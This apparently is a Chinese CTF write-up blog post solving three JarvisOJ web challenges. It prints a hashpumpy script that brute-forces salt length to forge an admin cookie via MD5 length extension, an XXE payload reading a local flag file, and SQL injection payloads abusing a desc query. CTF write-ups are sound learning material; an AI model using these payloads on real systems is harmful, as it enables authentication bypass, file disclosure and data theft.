zoukankan      html  css  js  c++  java
  • jarvisoj flag在管理员手上

    jarvisoj flag在管理员手上

    涉及知识点:

    (1)代码审计和cookie注入

    (2)哈希长度拓展攻击

    解析:

    进入题目的界面。看到

     那么就是想方设法的变成admin了。挂上御剑开始审计。发现cookie有点问题,这个role很明显是guest字符串的序列化。

     那么是不是简单的把role换成admin的序列化就可以了?尝试了一下,果然不行。

    这时候,御剑扫到东西了。看了一下是个index.php~文件,看了一下内部。。乱码,估计是一个可以复原的文件。

    去kali下把后缀改成.swp,使用vim -r指令来复原文件。

    得到源码。

    <!DOCTYPE html>
    <html>
    <head>
    <title>Web 350</title>
    <style type="text/css">
    body {
    background:gray;
    text-align:center;
    }
    </style>
    </head>

    <body>
    <?php
    $auth = false;
    $role = "guest";
    $salt =
    if (isset($_COOKIE["role"])) {
    $role = unserialize($_COOKIE["role"]);
    $hsh = $_COOKIE["hsh"];
    if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {    //strrev()函数使字符串倒过来
    $auth = true;
    } else {
    $auth = false;
    }
    } else {
    $s = serialize($role);
    setcookie('role',$s);
    $hsh = md5($salt.strrev($s));
    setcookie('hsh',$hsh);
    }
    if ($auth) {
    echo "<h3>Welcome Admin. Your flag is
    } else {
    echo "<h3>Only Admin can see the flag!!</h3>";
    }
    ?>

    </body>
    </html>

    审计代码发现这是一道哈希长度拓展攻击。

    本来可以使用hashpump来工具操作,但是这道题没有给salt的长度。。只能爆破了。

    附上爆破脚本

    import requests,hashpumpy,urllib
    
    
    def attack():
        url = 'http://web.jarvisoj.com:32778/'
    
        old_cookie = '3a4727d57463f122833d9e732f94e4e0'
        str1 = 's:5:"guest";'
        str2 = 's:5:"admin";'
        str1 = str1[::-1]                           #倒过来,这道题要role的值反过来求md5
        str2 = str2[::-1]
    
        for i in range(1,20):                       #用于爆破salt的长度
            new_cookie,message = hashpumpy.hashpump(old_cookie,str1,str2,i)
            payload = {'role':urllib.parse.quote(message[::-1]),'hsh':new_cookie}           #quote()可以把 x00 变成 %00
            ans = requests.get(url,cookies = payload)
            print(i)
            print(ans.text)
            if 'welcome' in ans.text:
                print(ans.text)
    
    #print(urllib.parse.quote('x00'))
    attack()

    爆破出flag。

    PS:哈希长度拓展攻击只能用于salt在可变参数之前的情况下。还有本题的逆序是个特例,常用脚本可以去掉str1 = str1[::-1]等的。

    jarvisoj api调用

    设计知识点:

    xxe

    解析:

    就是一个xxe。发个包就完事了,就不单独拿出来写博客了。(其实对我这种新手还是挺难看出是xml的)

    <?xml version="1.0"?>
    <!DOCTYPE abcd[
    <!ENTITY any SYSTEM "file:///home/ctf/flag.txt">]>
    <aaa>&any;</aaa>

    jarvisoj  inject

    涉及知识点:

    desc查询

    解析:

    有点恶心,但是没必要专门为它写一篇随笔。源码在index.php~中这个御剑可以扫到。

    <?php
    require("config.php");
    $table = $_GET['table']?$_GET['table']:"test";
    $table = Filter($table);
    mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
    $sql = "select 'flag{xxx}' from secret_{$table}";
    $ret = sql_query($sql);
    echo $ret[0];
    ?>

    desc的固定查询格式是

    desc `table1` `table2`    //只要有一个表正确就返回true

    所以payload: ?table=test` `union select database() limit 1,1

    (当初好久没注sql忘记了limit 1,1 在这卡了好久,复习下吧,其他的都和普通sql没区别)

    最后用payload: ?table=test`  `union select flagUwillNeverKnow from secret_flag limit 1,1   拿到flag

  • 相关阅读:
    poj 1840 简单哈希
    poj 2151概率dp
    poj 3349 简单hash
    poj3274 hash
    poj 1459 最大流 Dinic模板题
    poj 3436 最大流-拆点
    poj 3020 二分图最大匹配
    poj 1094 简单拓扑排序
    poj3687 反向建图拓扑排序
    poj 3267
  • 原文地址:https://www.cnblogs.com/cioi/p/12182825.html
Copyright © 2011-2022 走看看